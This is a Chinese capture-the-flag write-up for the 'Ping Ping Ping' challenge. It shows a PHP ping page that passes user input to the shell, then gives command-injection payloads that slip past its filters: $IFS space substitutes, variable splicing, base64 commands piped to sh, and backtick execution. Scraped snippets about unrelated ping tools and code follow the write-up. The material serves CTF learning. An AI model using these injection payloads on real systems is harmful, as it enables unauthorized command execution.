[GXYCTF2019]Ping Ping Ping

0x00 知识点

命令执行变量拼接

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

过滤bash用sh执行

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

内联执行

将反引号内命令的输出作为输入执行

?ip=127.0.0.1;cat$IFS$9`ls`

0x01 解题

打开题目,联想到XCTF中的一道题目

命令执行的方法大抵是加上管道符或者分号,那么试试管道符

/?ip=127.0.0.1|ls

看到flag.php
index.php
试着读flag.php

看到提示空格被ban:

绕过空格的方法大概有以下几种:

$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
<
<>
{cat,flag.php}  //用逗号实现了空格功能
%20
%09 
ps:有时会禁用cat:
解决方法是使用tac反向输出命令:
linux命令中可以加\,所以甚至可以ca\t /fl\ag

尝试

发现{被ban
$IFS$1:

flag被ban。。
我们先来试着读取一下index.php:

/?ip=|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);}

?>

过滤了许多标点,空格,bash,包括flag的贪婪匹配。那么自己印象中几种做法:

1.cat fl* 利用*匹配任意 不行
2.echo "Y2F0IGZsYWcucGhw"| base64 -d | bash 也不行
3.ca\t fl\ag.php 不行
4.cat fl''ag.php 不行

解决办法:

变量拼接

我们看到源码中有一个$a变量可以覆盖

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

官方:
过滤bash?那就用sh。sh的大部分脚本都可以在bash下运行。

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

内联执行的做法:

?ip=127.0.0.1;cat$IFS$9`ls`

内联,就是将反引号内命令的输出作为输入执行
参考链接:
https://www.jianshu.com/p/fd7f9fcc9333

原文地址:https://www.cnblogs.com/wangtanzhi/p/12246386.html

时间: 2024-08-15 01:51:45

[GXYCTF2019]Ping Ping Ping的相关文章

【BAT批处理】根据计算机名批量自动ping,并给出ping结果(ping通还是ping不通)

@echo off (for /f "tokens=1*" %%a in (ipTable.txt) do ( ping %%a >nul && echo %%a OK||echo %%a Failed ))>result.txt 会读取ipTable.txt中的内容,ipTable示例: testComputerName1 testComputerName2 testComputerName3 ..... 此外,如果ipTable.txt中有多列,列与列中

Psping四大功能介绍:ICMP Ping/TCP Ping/延迟测试/带宽测试

本文主要介绍微软的测试工具Psping,该工具功能主要包括:ICMP Ping.TCP Ping.延迟测试.带宽测试 需要说明一种应用场景:由于Windows Azure数据中心禁ICMP,使用Psping的TCP Ping的功能来测试联通性或者故障排查就非常有用了. 工具下载地址: http://technet.microsoft.com/en-us/sysinternals/jj729731 下载完PSTools.zip包之后,放到任意本地磁盘内,解压之后如下: 使用CMD命令行工具进入PS

PHP 使用 ping 命令ping ip

其实很简单  <?php  /**   *@param $ip target ip   *@param $times ping times   */  function ping($ip,$times=4)  {        $info = array();       if(!is_numeric($times) ||  $times-4<0)       {            $times = 4;       }       if (PATH_SEPARATOR==':' || D

Windows防火墙开启ping,禁ping的配置方法

当我通过本机Ping另一台在同一局域网内(即在同一网段)的计算机时,发现,如果防火墙开启的话,无论如何也ping不通.一旦关闭防火墙就可以ping通了.这是为什么呢?究竟该怎么设置呢?原因是这样的,现在的计算机系统,出于安全考虑,在默认情况下是不允许外部主机对其进行ping测试的.但在一个安全的局域网环境中,Ping测试又是管理员进行网络测试所必须的.如何更改设置呢?XP系统和WIN7系统有所不同: Windows XP,Windows Server 2003:Windows防火墙 --> 高级

C# Ping 简单使用

编程过程中,有时候需要判断主机是否在线,最简单的方法就是使用Windows的Ping命令看看能否ping通.看到网上很多文章,说用C#去调用windows的ping.exe,然后解析返回的字符串.我觉得这种方式太麻烦了,就做一下简单判断,不想弄那么麻烦. 查了一下,C#专门提供了一个Ping类,与Windows下的ping命令类似: 命令空间: System.Net.NetworkInformation; 使用方法: bool online = false; //是否在线 Ping ping =

小白日记8:kali渗透测试之主动信息收集(二)三层发现:ping、traceroute、scapy、nmap、fping、Hping

三层发现 三层协议有:IP以及ICMP协议(internet管理协议).icmp的作用是用来实现intenet管理的,进行路径的发现,网路通信情况,或者目标主机的状态:在三层发现中主要使用icmp协议,arp协议属于二层协议,它是基于广播的,所以不可路由.而ICMP协议是可以路由的,理论上可以使用icmp协议发现全球的ip,如果没有边界防火墙(禁止icmp的探测包)进行过滤的话,对目标主机进行扫描,则会收到相应的响应,从而进行捕捉[有边界防火墙的现象比较普遍],但是三层发现的扫描速度也较二层要慢

arm linux c/c++实现ping网络测试

附源码:ping.cpp ping.h    是类的实现. 实例代码是从项目的应用中剥离出来的: ping.cpp: #include "ping.h" Ping::Ping() { m_maxPacketSize = 4; m_datalen = 56; m_nsend = 0; m_nreceived = 0; m_icmp_seq = 0; } /*校验和算法*/ unsigned short Ping::getChksum(unsigned short *addr,int le

本机,同机房,同城,异地,不同城,腾讯云ping延时值

ping本机: 0.01ms ping同机房机器: 0.1ms ping同城机器: 1ms ping不同城机器: 20ms 北(南)方ping南(北)方机器: 50ms 从国内ping国外机器: 200ms 1~30ms 极好 几乎察觉不出有延迟31~50ms 较好 没有明显延迟51~100ms 一般 有明显延迟>100ms 差 丢包 ,掉线 腾讯云 北京到上海:38ms上海到广州:40ms北京到广州:53ms http://www.jifang360.com/news/2016429/n037

“ping”简单报错理解

了解ABC类IP地址:网络.主机.子网.广播. ———————————————————————————- 学会ping: ping www.itxdm.me 网络检测:ping某一主机可以正常启动!(证明网络访问正常) ___________________________________________________________ 对Ping后返回信息的分析 1.Request timed out(1) 对方已关机,或者网络上根本没有这个地址(2)对方与自己不在同一网段内(3)对方确实存在

物理机与虚拟机IP互ping通,而互ping主机名不通

问题描述:虚拟机信息:VMware-workstation 10安装RHEL5.8操作系统.hostname:rhel201.com IP:192.168.1.201 物理机系统:windows 7主机名:rusky-PC IP: 192.168.1.123 两者能够互相ping通对方的IP地址,但是互ping对方主机名失败. 处理方法:1.虚拟机linux系统中编辑如下文件[[email protected] ~]# vi /etc/hosts # Do not remove the foll